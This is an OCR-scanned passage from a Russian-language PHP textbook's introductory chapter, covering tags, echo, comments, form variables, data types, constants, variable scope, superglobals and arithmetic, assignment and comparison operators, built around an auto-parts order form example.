Server Pages — активные серверные страницы). Он может применяться, если установ- лен конфигурационный параметр asp tags. Наверно, не стоит применять дан- ный стиль — ну разве что вы пользуетесь редактором, ориентированным на ASP или ASP.NET. По умолчанию этот стиль дескрипторов отключен. Операторы РНР Действия, которые должен выполнить интерпретатор РНР, задаются операто- рами РНР, помещаемыми между открывающим и закрывающим дескрипторами. В рассматриваемом примере используется только один тип оператора: echo '<р>3аказ обработан.</р>'; Вы, должно быть, уже догадались, что оператор echo выполняет очень простое дей- ствие — он выводит (или печатает) в окне браузера переданную ему строку. На рис. 1.2 видно, что в результате в окне браузера отображается текст Заказ обработан.. Обратите внимание на то, что в конце оператора echo находится точка с запятой. Она используется для разделения PHP-операторов подобно тому, как точка служит для разделения предложений в обычном языке. Тем, кто ранее программировал на языке С или Java, подобное применение точки с запятой должно показаться вполне естественным. Глава 1. Введение в РНР 43
Пропуск точки с запятой — довольно распространенная синтаксическая ошибка, ко торую очень легко допустить. В то же время ее столь же просто выявить и исправить. Пробелы Пустые символы, такие как пустые строки (возврат каретки), пробелы между сло- вами и символы табуляции, образуют категорию пробельных. Вам, должно быть, уже известно, что браузеры игнорируют пробельные символы в HTML-коде. Интерпрета- тор РНР действует точно так же. Рассмотрим два следующих фрагмента HTML-кода: <Ь1>Добро пожаловать в компанию "Автозапчасти от Вована"! </Ь1Хр>Что бы вы хотели заказать сегодня?</р> и <Ь1>Добро пожаловать в компанию "Автозапчасти от Вована"!</hl> <р>Что бы вы хотели заказать сегодня?</р> Эти два фрагмента HTML-кода генерируют один и тот же вывод, поскольку с точ- ки зрения браузера они идентичны. Пробелы в HTML-кодах использовать можно и нужно, поскольку они повышают удобочитаемость HTML-кода. То же можно сказать и в отношении РНР. Пробелы между PHP-операторами не требуются, однако разме- щение каждого оператора в отдельной строке существенно облегчает чтение кода. Например, фрагменты echo 'приветствуем'; echo ' на нашем сайте'; и echo ’приветствуем';echo ’ на нашем сайте'; эквивалентны, но первую версию понять гораздо проще. Комментарии • Понятие комментария имеет следующий смысл: комментарии к коду служат по- яснениями для людей, разбирающихся с текстом программы. Комментарии исполь- зуются для описания назначения соответствующего сценария, для информации о разработавших его программистах, для пояснения, почему они написали его именно так, а не иначе, для указания даты его последнего изменения и прочей полезной ин- формации. Как правило, комментариями снабжаются все PHP-сценарии, за исключе- нием, возможно, самых простых. Интерпретатор РНР игнорирует любой текст, помещенный в комментарий. По су- ществу, синтаксический анализатор РНР попросту пропускает комментарии, которые для него равнозначны пробелам. РНР поддерживает комментарии в стилях С, C++ и сценариев оболочки. Ниже показано как выглядит многострочный комментарий в стиле С, который может находиться в начале РНР-сценария: /* Автор: Вован Кузнецов Дата последнего изменения: 3 июня Этот сценарий обрабатывает заказы клиентов. */ 44 Часть I. Использование РНР
Многострочные комментарии должны начинаться с символов /* и завершаться символами */. Как и в языке С, многострочные комментарии не могут быть вложен- ными. Можно также использоваться однострочными комментариями в стиле C++: echo '<р>3аказ обработан.</р>'; // Начало вывода заказа или в стиле командных сценариев: echo '<р>3аказ обработан.</р>'; # Начало вывода заказа При использовании обоих этих стилей все, что следует за символом комментария (# или //) вплоть до конца строки или до завершающего PHP-дескриптора, в зависи- мости от того, что встретится раньше, рассматривается как комментарий. В показанной ниже строке кода текст перед закрывающим дескриптором (это комментарий) является частью комментария. В то же время текст а это — уже не комментарий трактуется как HTML-код, поскольку он находится после закрывающего дескриптора. // это комментарий ?> а это — уже не комментарий Добавление динамического содержимого До сих пор мы не использовали РНР для выполнения каких-либо действий, кото- рые нельзя было бы реализовать с помощью обычного HTML. Основная побудительная причина применения языка написания серверных сце- нариев — желание предоставить пользователям сайт с динамическим содержимым. Это важное применение РНР, ибо содержимое, изменяющееся в соответствии с по- требностями пользователя или с течением времени, заставляет посетителей вновь и вновь возвращаться на сайт. РНР позволяет легко организовать это. Начнем с рассмотрения простого примера. Заменим PHP-код в файле processorder .php на приведенный ниже: <? echo '<р>3аказ обработан в ’; echo date('Н:i, j S F Y ’) ; echo '</p>'; ?> Этот фрагмент можно записать и одной строкой, если воспользоваться операцией конкатенации: <?php | echo "<р>3аказ обработан в ".date(’H:i, jS F Y')."</p>"; ?> В этом коде используется встроенная PHP-функция date (), которая сообщает клиенту дату и время обработки его заказа. Значения будут меняться при каждом вы- полнении сценария. Вывод, полученный в результате одного из таких запусков рас- сматриваемого сценария, показан на рис. 1.3. Вызов функций Посмотрите, как вызывается функция date (). Это общая форма вызова функции. РНР имеет обширную библиотеку функций, которыми вы можете пользоваться при разработке Web-приложений. Большинству этих функций нужно передавать некото- рые данные, чтобы они возвращали соответствующие данные в качестве результатов. Глава 1. Введение в РНР 45
Рис. 1.3. PHP-функция date () возвращает форматированную строку даты Вызов функции имеет следующий вид: date('Н:i, j S F') Обратите внимание на то, что строка, передаваемая функции (текстовые данные), заключена в круглые скобки. Это значение называется аргументом или параметром функции. Аргументы представляют собой входные значения, которые используются функцией для вывода соответствующих результатов. Использование функции date () Аргумент, передаваемый функции date (), должен быть строкой формата, кото- рый определяет требуемый стиль вывода. Каждая буква в строке представляет часть строки даты и времени суток. Н представляет часы в 24-часовом формате, i — минуты с ведущим нулем, когда он необходим, j — день месяца без ведущего нуля^ S представ- ляет обычный суффикс (в данном случае “th”), a F —полное название месяца. (Полный список форматов, поддерживаемых функцией date (), можно найти в главе 21.) Доступ к переменным формы Весь смысл использования формы заказа заключается в получении информации о заказе клиента. Получение подробной информации о том, что клиент ввел с кла- виатуры, реализуется в РНР очень просто, тем не менее, точный метод зависит от выбора версии РНР и от установок в вашем файле php.ini. Короткие, средние и длинные переменные Внутри PHP-сценария к каждому из полей формы можно получить доступ как к PHP-переменной, которая имеет то же имя, что и поле формы. В языке РНР перемен- ные легко распознать, так как все они начинаются со знака доллара ($). (Распростра- ненная ошибка связана как раз с пропуском знака доллара.) Вы можете получить доступ к содержимому поля tireqty следующими способами: $tireqty // короткий стиль $_POST['tireqty'] // средний стиль $HTTP_POST_VARS['tireqty*] // длинный стиль 46 Часть I. Использование РНР
В этом примере, как и на протяжении всей книги, мы используем средний стиль для ссылок на переменные формы (т.е. $_POST [ ’ tireqty' ]), но для простоты созда- ем короткие версиц применения. Однако это делается только в коде без автоматиче- ской генерации, т.к. автоматическая генерация может привести к проблемам безо- пасности. При разработке своего собственного кода вы можете избрать другой подход, од- нако выбор должен быть обоснованным, поэтому мы сейчас рассмотрим все возмож- ные методы. Когда вы будете писать свой код, то, возможно, будете придерживаться другого под- хода. Чтобы сделать осознанный выбор, учтите перечисленные ниже соображения. Короткий стиль ($tireqty) удобен в работе, однако он требует включения кон- фигурационной настройки register globals. Из соображений безопасности по умолчанию она отключена. Этот стиль способствует появлению ошибок, ко- торые делают программный код менее безопасным, что и привело к тому, что короткий стиль использовать не рекомендуется. Не стоит применять данный стиль в новом коде, поскольку в версии РНР6 его, видимо, уже не будет. Средний стиль ($_POST[ 'tireqty' ]) теперь является рекомендованным под- ходом. Создание коротких версий имен переменных на основе среднего стиля (как это делаем мы в данной книге) не приводит к проблемам безопасности и просто облегчает работу. Длинный стиль ($HTTP_POST_VARS [' tireqty' ]) представляет собой наиболее подробную форму записи. Следует отметить, что данный стиль признан уста- ревшим и, скорее всего, в долгосрочной перспективе он вообще выйдет из употребления. Длинный стиль используется для достижения наибольшей пере- носимости, однако сейчас может быть отключен с помощью директивы конфи- гурации register_long_arrays, что приводит к увеличению производительно- сти. Так что и этот стиль не стоит применять в новом коде — кроме тех случаев, когда ваше ПО будет наверняка установлено на старых серверах. При использовании короткого стиля имена переменных в сценарии ничем не отличаются от имен полей в HTML-форме. Вам не надо объявлять эти переменные или предпринимать какие-либо действия по созданию этих переменных в сценариях. Они фактически передаются в сценарий так, как передаются аргументы в функцию. Когда вы пользуетесь этим стилем, вы просто манипулируете такими переменными как, например, $tireqty. Поле tireqty формы создает в сценарии, выполняющем обработку, переменную $ tireqty. Подобное удобство доступа к переменным может показаться довольно-таки при- влекательным, однако перед тем как просто включить regi&ter globals, неплохо бы разобраться с причинами, по которым команда разработчиков РНР приняла ре- шение по умолчанию отключить register globals. Очень удобно иметь прямой доступ к переменным, однако он создает условия для программных ошибок, которые могут скомпрометировать безопасность ваших сцена- риев. При таком способе автоматического преобразования переменных формы в гло- бальные переменные, подобные рассматриваемым, нельзя отделить созданные вами переменные от непроверенных переменных, которые поступают непосредственно от пол ьзовател я. Если вы не позаботились о том, чтобы присвоить начальные значения, то пользо- ватели ваших сценариев смогут передавать переменные и значения в виде перемен- Глава 1. Введение в РНР 47
ных формы, которые перемешиваются с вашими собственными переменными. Если вы выбираете более удобный короткий стиль доступа к переменным, то должны со- блюдать осторожность при назначении своим собственным переменным начальных значений. Средний стиль предусматривает считывание переменных форм из массивов $_POST, $_GET и $_REQUEST. Подробное описание всех переменных форм содержит- ся либо в массиве $_POST, либо в массиве $_GET. Какой массив используется, зависит, соответственно, от того, какой метод был выбран для передачи формы — POST или GET. Кроме того, сочетание всех данных, передаваемых посредством метода POST или GET, доступно через массив $_REQUEST. Если форма была отправлена с помощью метода POST, то данные, помещенные в поле tireqty, будут сохранены в $_POST[' tireqty' ]; если же форма была передана с помощью метода GET — то в $_GET [' tireqty' ]. И в том и в другом случае данные будут доступны в $_REQUEST [' tireqty' ]. Эти массивы относятся к категории так называемых суперглобалъных. Мы еще вер- немся в этой главе к рассмотрению суперглобальных переменных, когда будем гово- рить об области действия переменных. Рассмотрим пример создания упрощенных копий переменных. Для копирования значения одной переменной в другую служит операция при- сваивания, для обозначения которой в языке РНР используется знак равенства (=). Приведенная ниже строка кода создает новую переменную с именем $ tireqty и ко- пирует в нее содержимое $_POST [' tireqty' ]: $tireqty = $_POST ['tireqty']; Поместите показанный далее блок кода в начало сценария обработки формы. Все другие сценарии, рассмотренные в этой книге, которые обрабатывают данные форм, содержат в начале подобные блоки. Так как этот сценарий не генерйрует никаких выходных данных, нет никакой разницы, поместите ли вы его выше или ниже деск- риптора <html> и других HTML-дескрипторов, с которых начинается ваша страница. Обычно мы размещаем этот блок в самом начале сценария, чтобы потом его было легче найти. <?php // создание коротких имен переменных $ tireqty = $_POST [ 'tireqty' ] ; $oilqty = $_POST [' oilqty' ] ; $ sparkqty = $_POST [' sparkqty' ] ; Этот код создает три переменных $tireqty, $oilqty и $sparkqty и помещает в них данные, которые были переданы с помощью метода POST формы. Чтобы этот сценарий выполнял сколько-нибудь заметные действия, вставьте следующие строки в нижнюю часть РНР-сценария: echo '<р>3аказано: </р>'; echo $tireqty.' покрышек<Ьг />'; echo $oilqty.' бутылок масла<Ьг />'; echo $sparkqty.' свечей зажигания<Ьг />'; Вы, должно быть, уже заметили, что на данной стадии мы не проверяем содер- жимого переменных с тем, чтобы воспрепятствовать вводу бессмысленных данных в каждое поле формы. Попытайтесь намеренно ввести бессмысленные данные и по- смотрите, что из этого получится. После того, как вы ознакомитесь с содержимым 48 Часть I. Использование РНР
остальной части этой главы, у вас, скорее всего, появится желание добавить в разра- батываемый сценарий код, проверяющий корректность данных. С точки зрения безопасности такая отправка в браузер данных, введенных поль- зователем — рискованное дело. Входные данные следует фильтровать. Фильтрация данных будет рассмотрена в главе 4, а затем при более детальном рассмотрении безо- пасности в главе 16. Если теперь загрузить модифицированный файл в браузер, выходные данные сце- нария должны быть подобны показанным на рис. 1.4. Фактические значения, разуме- ется, зависят от того, какую информацию вы введете в форму. Рис. 1.4. Значения переменных формы, которые вводят поль- зователи, легко доступны в сценарии processorder .php Несколько интересных особенностей этого примера, на которые следует обра- тить внимание, описаны в следующих подразделах. Конкатенация строк В сценарии оператор echo применялся для вывода значений, введенных пользо- вателем в каждое из полей формы, за которыми следовал некоторый пояснительный текст. Внимательно присмотритесь к операторам echo, и вы заметите, что между именем переменной и следующим за ним текстом находится точка (.), например: echo $tireqty.' покрышек<Ьг />’; Эта точка есть не что иное, как операция конкатенации строк, которая исполь- зуется для объединения строк (фрагментов текста) в единый текст. Она будет часто применяться при пересылке вывода в браузер с помощью echo. Эта операция позво- ляет избегать записи нескольких операторов echo. Каждую переменную, отличную от переменной типа массива, можно поместить в двойные кавычки, после чего применить к ней оператор echo. (Массивы представля- ют собой более сложный тип переменных. Вопросы комбинирования строк и масси- вов рассматриваются в главе 4.) Например: echo "$tireqty покрышек<Ьг />"; Этот оператор эквивалентен первому. Оба формата допустимы, и какой из них употребить — это дело сугубо личного вкуса. Такой процесс замены имени перемен- Глава 1. Введение в РНР 49
ной ее содержимым известен как вставка. Обратите внимание, что при вставке долж- ны применяться только двойные кавычки. Нельзя помещать имена переменных в одинарные кавычки в подобных случаях. Выполнение следующей строки кода: echo '$tireqty покрышек<Ьг />’; приведет к передаче в браузер строки "$tireqty покрышек<Ьг />". Если имя пере- менной заключено в двойные кавычки, то имя переменной заменяется ее значением. Если имя переменной или какой-либо другой текст заключен в одинарные кавычки, то они передаются без изменений. Переменные и литералы Переменные и строки, конкатенацию которых мы осуществляем в каждом из опе- раторов echo, имеют разную природу. Переменные — это символы, применяемые для обозначения данных. Строки — это, по сути, данные. Когда мы употребляем фраг- менты неструктурированных данных в программе, подобной рассматриваемой, мы называем их литералом, чтобы отличить их от переменной. $ tireqty — это перемен- ная, т.е. символ, который представляет введенные клиентом данные. С другой сторо- ны, ' покрышекСЬг />' — это литерал. Он представляет сам себя. Правда, не всегда. Помните второй пример, приведенный выше в разделе? РНР заменяет в этой строке имя переменной $tireqty значением, которое хранится в этой переменной. Вспомните, что в РНР существует два вида строк — с двойными кавычками и с одинарными кавычками. РНР будет предпринимать попытки вычислить значения строк, заключенных в двойные кавычки, что приведет к результатам, которые рас- сматривались выше. Строки, заключенные в одинарные кавычки, трактуются как обычные литералы. Имеется и третий способ указания строк — с помощью heredoc-синтаксис («<), который хорошо знаком программистам на языке Perl. Этот синтаксис позволяет оп- ределять длинные строки аккуратно, указывая маркер конца строки, который и будет использоваться для завершения строки. В представленном ниже примере определя- ется и выводится длинная строка: echo «ctheEnd строка 1 строка 2 строка 3 theEnd Лексема theEnd выбрана совершенно произвольно. При ее выборе должно лишь гарантироваться, что она нигде не встречается в тексте. Для завершения heredoc-строки необходимо поместить в начале новой строки лексему конца строки, heredoc-строки допускают вставку переменных, подобно стро- кам в двойных кавычках. Идентификаторы Идентификаторы представляют собой имена переменных. (Имена функций и классов — это тоже идентификаторы; функции и классы рассматриваются в главах 5 и 6.) Использование идентификаторов регламентируется следующими простыми правилами. 50 Часть I. Использование РНР
Идентификаторы могут иметь любую длину и состоять из букв, цифр и симво- лов подчеркивания. Идентификаторы не могут начинаться с цифры. В РНР идентификаторы чувствительны к регистру символов. Идентификаторы $tireqty и $TireQty отнюдь не равнозначны. Попытка использования строч- ных символов вместо прописных и наоборот — очередная часто встречающаяся ошибка программирования. Исключение из этого правила составляют встроен- ные РНР-функции — их имена могут быть представлены в любом регистре. Переменные могут иметь те же имена, что и встроенные функции. Однако это может привести к путанице, а посему подобных ситуаций следует избегать. Нельзя также создавать функции, имена которых совпадают с именами других функций. В дополнение к переменным, передаваемым из HTML-формы, вы можете объяв- лять и использовать свои собственные переменные. Одна из особенностей РНР заключается в том, что переменные не обязательно объявлять до того, как вы будете ими пользоваться. Переменная создается в момент первого присваивания ей значения; подробнее об этом мы поговорим в следующем разделе. Значения переменным присваиваются с помощью операции присваивания =. На сайте компании “Автозапчасти от Вована” требуется подсчитать общее количество единиц товара и общую сумму оплаты. Для хранения этих чисел имеет смысл создать две переменных. Для начала они инициализируются нулевыми значениями; это дела- ют следующие строки в нижней части РНР-сценария: $totalqty = 0; $totalamount = 0.00; Каждая из двух приведенных строк создает переменную и присваивает ей лите- ральное значение. Переменным можно присваивать также значения других перемен- ных, как показано в примере ниже: $totalqty =0; $totalamount = $totalqty; Типы переменных Тип переменной характеризуется видом хранящихся в ней данных. РНР предла- гает целый набор типов данных. Различные данные могут храниться в переменных различных типов. Типы данных РНР РНР поддерживает следующие базовые типы данных. Integer (целый) — используется для представления целых чисел. Float, также называемый double (двойной точности) — используется для пред- ставления действительных чисел. String (строковый) — используется для представления строк символов. Глава 1. Введение в РНР 51
Boolean (булевский) — используется для хранения значений true (истина) и false (ложь). Array (массив) — используется для хранения нескольких элементов данных (см. главу 3). Object (объект) — используется для хранения экземпляров классов (см. главу 6). Доступны также и два специальных типа — NULL и resource (ресурс). Переменные, которым не присвоены конкретные значения, которые не определены или принима- ют значение NULL, относятся к типу NULL. Некоторые встроенные функции (такие как функции работы с базами данных) возвращают переменные ресурсного типа. Такие переменные представляют внешние ресурсы (например, соединения с базами данных). Можно с достаточной уверенностью утверждать, что напрямую манипулиро- вать переменными ресурсного типа вам не придется, тем не менее, они часто возвра- щаются одними функцйями и передаются в качестве параметров в другие функции. Степень типизации Язык РНР является весьма слабо типизированным, или динамически типизиро- ванным. В большинстве языков программирования переменные могут хранить дан- ные только одного типа, и этот тип должен быть объявлен прежде, чем переменную можно будет использовать, как это имеет место, скажем, в языке С. В РНР тип пере- менной определяется типом присвоенного ей значения. Например, при создании переменных $ totalqty и $ totalamount их начальные типы были определены следующим образом: $totalqty = 0; $totalamount =0.00; Поскольку переменной $ totalqty было присвоено целочисленное значение 0, эта переменная теперь имеет тип integer. Аналогично, переменная $ totalamount имеет тип float. Как ни странно, но в сценарий вполне можно поместить такую строку: $totalamount = 'Добро пожаловать'; Теперь переменная $totalamount имеет тип string. РНР в любой момент време- ни изменяет тип переменной в соответствии с хранящимися в ней данными. Подобная возможность явного изменения типов на лету может оказаться исклю- чительно полезной. Помните, что РНР “автоматически” распознает тип данных, по- мещаемых в переменные. РНР возвращает данные именно того типа, который был назначен переменной. Приведение типов С помощью механизма приведения типов можно переводить переменную или кон- кретное значение в другой тип. Приведение выполняется так же, как в языке С. Для этого достаточно просто перед переменной, тип которой вы хотите преобразовать, поместить в круглых скобках временный тип. Например, мы можем объявить две использованные выше переменные, применив при этом механизм приведения типов: $totalqty = 0; $totalamount = (float)$totalqty; 52 Часть I. Использование PHP
Вторая строка означает: “Взять значение, хранящееся в переменой $ totalqty, интерпретировать его как значение тц^па float и сохранить в переменной $totalamount”. Переменная $totalamount получит тип float. Приведение типов не меняет тип исходной переменной, поэтому типом переменной $ totalqty остается integer. Проверку и установку типа можно выполнить с помощью встроенной функции, о оторой будет сказано ниже в данной главе. Переменные переменных РНР предоставляет в распоряжение разработчиков еще один тип переменных — так называемые переменные переменных. Переменные переменных позволяют дина- мически менять имена переменных. Как вы сами можете убедиться, РНР допускает очень большую свободу в этой об- ласти — все языки разрешают изменять значение переменной, но лишь некоторые позволяют изменять тип переменной и уж совсем немногие — имя переменной. В основу этой возможности положена идея использования значения одной пере- менной в качестве имени другой. Например, можно было бы определить так: $varname = "tireqty"; Затем вместо $tireqty можно использовать $$varname, например: $$varname = 5; Это в точности эквивалентно следующему: $tireqty = 5; Данная особенность может показаться несколько запутанной, однако позже мы еще вернемся к практическому использованию этой возможности. Вместо того чтобы перечислять все переменные и использовать каждую переменную формы по отдель- ности, можно зарезервировать еще одну переменную и организовать автоматическую обработку всех переменных в цикле. Пример, иллюстрирующий такой подход, приве- ден в разделе, посвященном циклам for, ниже в данной главе. Объявление и использование констант Как вы уже могли убедиться ранее, значение, хранящееся в переменной, можно без труда изменить. Наряду с этим, в РНР допускается также объявление констант. Как и переменная, константа хранит значение, но ее значение устанавливается раз и навсегда, и не может изменяться ни в какой части сценария. В нашем примере приложения цены всех единиц товаров, выставленных на про- дажу, можно сохранить в виде констант. Такие константы можно определять с помо- щью функции define: define('TIREPRICE', 100); define('OILPRICE', 10); define('SPARKPRICE', 4) ; Добавьте эти строки в сценарий. Теперь вы имеете три константы, которые мож- но использовать при расчете общей суммы заказа. Вы должны были заметить, что все имена констант записываются прописными буквами. Данное соглашение заимствовано из языка С; благодаря ему различать пере- Глава 1. Введение в РНР 53
менные и константы визуально легче. Соблюдать это соглашение вовсе не обязатель- но, тем не менее, следует помнить, что оно существенно упрощает чтение и сопро- вождение кода. Важное различие между константами и переменными состоит в том, что при об- ращении к константе перед ней не нужно ставить знака доллара. Если вам необходи- мо воспользоваться значением константы, указывайте только ее имя. Например, для вывода на экран значения одной из созданных выше констант применяется следую- щий код: echo TIREPRICE; Наряду с константами, определенными пользователем, РНР устанавливает боль- шое количество собственных констант. Эти константы легко просмотреть, если вы- звать функцию phpinfо (): phpinfo(); Упомянутая функция выводит на экран список предопределенных переменных и констант РНР, а также другую полезную информацию. Некоторые из этих элементов этого списка будут рассматриваться по мере изложения материала. Область действия переменных Термин область действия (scope) относится к тем разделам сценария, внутри кото- рых возможен доступ к некоторой конкретной переменной, иначе говоря, область, из любого места которой видна эта переменная. В РНР используются следующих шесть базовых правил определения области действия. Встроенные суперглобальные переменные видны из любого места сценария. Константы, как только они объявлены, всегда видимы глобально, т.е. могут ис- пользоваться как внутри, так и вне функций. Глобальные переменные, объявленные в сценарии, видны в любом месте сцена- рия, но не внутри функций. Переменные, использованные внутри функций, которые объявлены как гло- бальные, ссылаются на глобальные переменные с теми же именами. Переменные, созданные внутри функции и объявленные как статические, неви- димы за пределами функции, однако они сохраняют свои значения между двумя вызовами этой функции. Переменные, созданные внутри функции, являются локальными по отношению к своей функции и прекращают свое существование после завершения функции. Массивы $_GET и $_POST и ряд других специальных переменных подчиняются своим собственным правилам, определяющим их области действия. Они принадле- жат к категории суперглобальных (или автоглобальных) переменных и видимы везде, как внутри функций, так и за их пределами. Ниже представлен полный список суперглобальных переменных. $GLOBALS. Массив всех глобальных переменных. Подобно ключевому слову global, этот массив позволяет получать доступ к глобальным переменным внут- ри функции, например, $GLOBALS [ ’myvariable ’ ]. $_SERVER. Массив переменных среды сервера. 54 Часть I. Использование РНР
$_GET. Массив переменных, переданных в сценарий посредством метода GET. $_POST. Массив переменных, переданных в сценарий посредством метода POST. $_СООК1Е. Массив cookie-переменных. $_FILES. Массив переменных, относящихся к загрузке файлов. $_ENV. Массив переменных окружения. \ $_REQUEST. Массив пользовательского ввода, включая содержимое массивов $_GET, $_POST и $_СООК1Е (начиная с РНР 4.3.0, сюда не входит $_FILES). $_SESSION. Массив переменных сеанса. На протяжении книги мы будем по мере необходимости обращаться к этим супер- глобальным типам данных. Понятие области действия будет рассмотрено более, подробно во время изучения функций и классов ниже в данной главе. Пока лишь отметим, что все переменные, которые мы используем, по умолчанию являются глобальными. Использование операций Операции — это символы, которые используются для манипуляции значениями и переменными за счет выполнения над ними той или иной операции. Некоторые из этих операций нам потребуются для вычисления общей суммы заказа клиента и размера налога на этот заказ. Ранее уже упоминались две операции: присваивания (=) и конкатенации строк (.). В следующих разделах мы рассмотрим полный список операций. В общем случае операции могут выполняться над одним, двумя и тремя аргумен- тами, причем большинство из них выполняется над двумя аргументами. Например, операция присваивания требует двух аргументов, а именно, адреса ячейки, указывае- мого слева от символа =, и выражения, указываемого справа от него. Эти аргументы называются операндами, т.е. элементами, над которыми выполняется соответствую- , щая операция. ; Арифметические операции Арифметические операции очень просты — это обычные математические опера- = ции. Арифметические операции перечислены в табл. 1.1. Таблица 1.1. Арифметические операции РНР Операция Название Пример + Сложение $а + $Ь - Вычитание $а - $Ь * Умножение $а * $Ь / Деление $а / $Ь % Деление по модулю $а % $Ь Мы можем сохранить результат любой из этих операций, например: $result = $а + $Ь; Глава 1. Введение в РНР 55
Сложение и вычитание имеют традиционный смысл. Результатом их выполнения является, соответственно, сумма и разность значений, хранящихся в переменных $а и $Ъ. Символ вычитания (-) можно использовать в качестве унарной операции (т.е. опе- рации, которая выполняется над одним аргументом или операндом) для обозначения отрицательных чисел. Например: $а = -1; । Умножение и деление также работают обычным образом. Обратите внимание на использование звездочки вместо традиционного математического символа умноже- ния и наклонной черты вместо обычного символа деления. Операция деления по модулю возвращает остаток от деления переменной $а на переменную $Ь. Рассмотрим следующий фрагмент кода: $а = 27; $Ь = 10; $result = $а%$Ь; Значение, сохраненное в переменной $ result, представляет собой остаток от де- ления 27 на 10, т.е. 7. Следует обратить внимание на то, что арифметические операции обычно приме- няются к целым числам или значениям с двойной точностью. В случае их примене- ния к строкам РНР предпринимает попытку выполнить эти операции, преобразуя строки в числа. Если строка содержит символ^! “е” или “Е”, то она считается чис- лом в экспоненциальной форме записи и преобразуется в числовое значение float. В противном случае строка преобразуется в целочисленное значение. РНР выполня- ет поиск цифр в начале строки и найденные цифры использует в качестве значения; если в начале строки цифр нет, то ее значением будет ноль. Строковые операции Выше мы сталкивались только с одной строковой операцией — операцией конка- тенации строк. Ее можно применять для объединения двух строк в одну и сохране- ния результата, при этом она имеет много общего с операцией сложения двух чисел. $а = "Автозапчасти "; $Ь = "от Вована"; $result = $а.$Ь; Теперь переменная $ result содержит строку "Автозапчасти от Вована". Операции присваивания Мы уже знакомы с операцией =, основной операцией присваивания. Этот символ всегда означает операцию присваивания и читается как “устанавливается равным”. Например: $totalqty = 0; Эту строку следует понимать, как “значение переменной $totalqty устанавлива- ется равным нулю”. Почему именно так, а не иначе, станет ясно после того, как мы рассмотрим операции сравнения д£лее в этой главе. 56 Часть I. Использование РНР
Значения, возвращаемые операцией присваивания Как и в случае других операций, в результате выполнения операции присваивания возвращается некоторое итоговое значение. Если записать: $а + $Ь то значением этого выражения будет результат сложения переменных $а и $Ь. Анало- гично, можно записать: $а = 0; Значением всего приведенного выражения будет 0. В конечном итоге появляется возможность выполнять действия, подобные следующему: $Ь = 6 + ($а = 5); В результате значение переменной $Ь устанавливается равным 11. Это справедли- во для всех операторов присваивания: значение всего оператора присваивания есть значение, присвоенное левому операнду. При написании выражения можно пользоваться круглыми скобками для увеличе- ния приоритета подвыражения, что и было сделано в приведенном выше примере. Скобки работают точно так же, как и в математике. Комбинированные операции присваивания Помимо простых операций присваивания существует набор комбинированных операций присваивания. Каждая из них представляет собой сокращенную форму за- писи какой-то другой операции с переменной и присваивания результата этой пере- менной. Например: $а += 5; эквивалентно: $а = $а + 5; Комбинированные операции присваивания существуют для каждой арифметиче- ской операции, а также для операции конкатенации строк. Список всех объединенных операций присваивания вместе с результатами их дей- ствия приведен в табл. 1.2. Таблица 1.2. Комбинированные операции присваивания РНР Операция Использование Эквивалентная операция += $а += $Ь $а = $а + $Ь _= $а -= $Ь $а = $а — $Ь *= $а *= $Ь $а = $а * $Ь /= $а /= $Ь $а — $а / $Ь %= $а %= $Ь $а = $а % $Ь .= $а .= $Ь $а — $а . $Ь Префиксный и суффиксный инкремент и декремент Операции префиксного и суффиксного инкремента (++) и декремента (—) анало- гичны операциям += и но с несколькими отличиями. Глава 1. Введение в РНР 57
Все операции инкремента оказывают двойное действие — они увеличивают зна- чение переменной на единицу и присваивают переменной это новое значение. Рассмотрим следующий код: $а = 4; echo ++$а; Во второй строке используется операция префиксного инкремента, получившая это название по той причине, что символы ++ предшествуют переменной $а. В результате сначала значение $а увеличивается на 1, после чего оператор echo возвращает новое значение. В рассматриваемом примере значение $а увеличивается и на экран выводит- ся число 5. Значением всего этого выражения будет 5. (Обратите внимание, что фак- тическое значение, хранящееся в переменной $а, изменится: результат выполненных действий не ограничивается простым возвратом значения выражения $а + 1.) В то же время, если символы ++ следуют за переменной $а, значит, использует- ся операция суффиксного инкремента. Она дает другой результат. Рассмотрим такие строки: $а = 4; echo $а++; В данной ситуации действия выполняются в обратном порядке. То есть, сначала значение $а возвращается и выводится на экран, и только после этого оно увеличи- вается на 1. Результатом выполнения этих двух строк будет 4. Именно это значение и будет выведено на экран. В то же время, после выполнения этого оператора пере- менная $а принимает значение 5. Нетрудно догадаться, что операция — действует аналогично, только в этом случае значение $а уменьшается, а не увеличивается на 1. Операция ссылки Операция ссылки, обозначаемая как & (амперсанд), может использоваться в соче- тании с операцией присваивания. Обычно, когда значение одной переменной при- сваивается другой переменной, создается копия первой переменной, которая сохра- няется где-то в памяти. Например: $а = 5; $Ь = $а; Приведенные строки кода создают вторую копию значения переменной $а и со- храняют ее в переменной $Ъ. Если впоследствии значение $а подвергнется измене- нию, значение $Ь останется прежним: $а = 7; // Значение $Ь по-прежнему остается равным 5 Создания копии можно избежать, используя операцию ссылки &, например: $а = 5; $Ь — & $ a f $а = 7; // Теперь оба значения $а и $Ь равны 7 Ссылки считаются довольно-таки трудными для понимания. Помните, что ссылка скорее подобна псевдониму, нежели указателю. И $а, и $Ь указывают на один и тот же участок памяти. Это можно изменить, сбросив одну из переменных, например: unset($а); Сброс не изменяет значения переменной $Ь (равное 7), но разрывает связь между переменной $а и значением 7, хранящимся в памяти. 58 Часть I. Использование РНР
Операции сравнения Операции сравнения выполняют сравнение двух значений. Выражения, в кото- рых присутствуют эти операции, возвращают в зависимости от результата сравнения логические значения true (истина) или false (ложь). Операция равенства Операция равенства == (два знака равно) позволяет проверить равенство двух значений. Например, мы можем воспользоваться выражением $а == $Ь для проверки равенства значений, хранящихся в переменных $а и $Ь. Результатом этого выражения будет true, если они равны, или false, если они не равны. Эту операцию легко спутать с операцией присваивания. Это не приведет к выводу сообщения об ошибке, но в общем случае не даст результата, на который вы, возмож- но, рассчитывали. В общем случае любые ненулевые значения интерпретируются как true, а нулевые — как false. Предположим, что две переменных были инициализи- рованы следующим образом: $а = 5; $Ь = 7; Если затем проверить результат операции $а = $Ъ, получится значение true. Почему? Значением выражения $а = $Ь будет значение, присвоенное левому опе- ранду, которое в данном случае равно 7. Это ненулевое значение, поэтому выра- жение вычисляется как true. Если же вашей целью была проверка выражения $а == $Ъ, результат которого равен false, значит, в коде допущена логическая ошиб- ка, которую исключительно трудно обнаружить. Всегда следует проверять правиль- ность использования этих двух операций, дабы убедиться, что вы их не перепутали и выбрали именно ту, которая нужна. Подобного рода ошибку очень легко допустить, и, возможно, вы будете их совер- шать многократно в своей программистской деятельности. Другие операции сравнения РНР поддерживает также ряд других операций сравнения, которые перечислены в табл. 1.3. Таблица 1.3. Операции сравнения РНР Операция Название 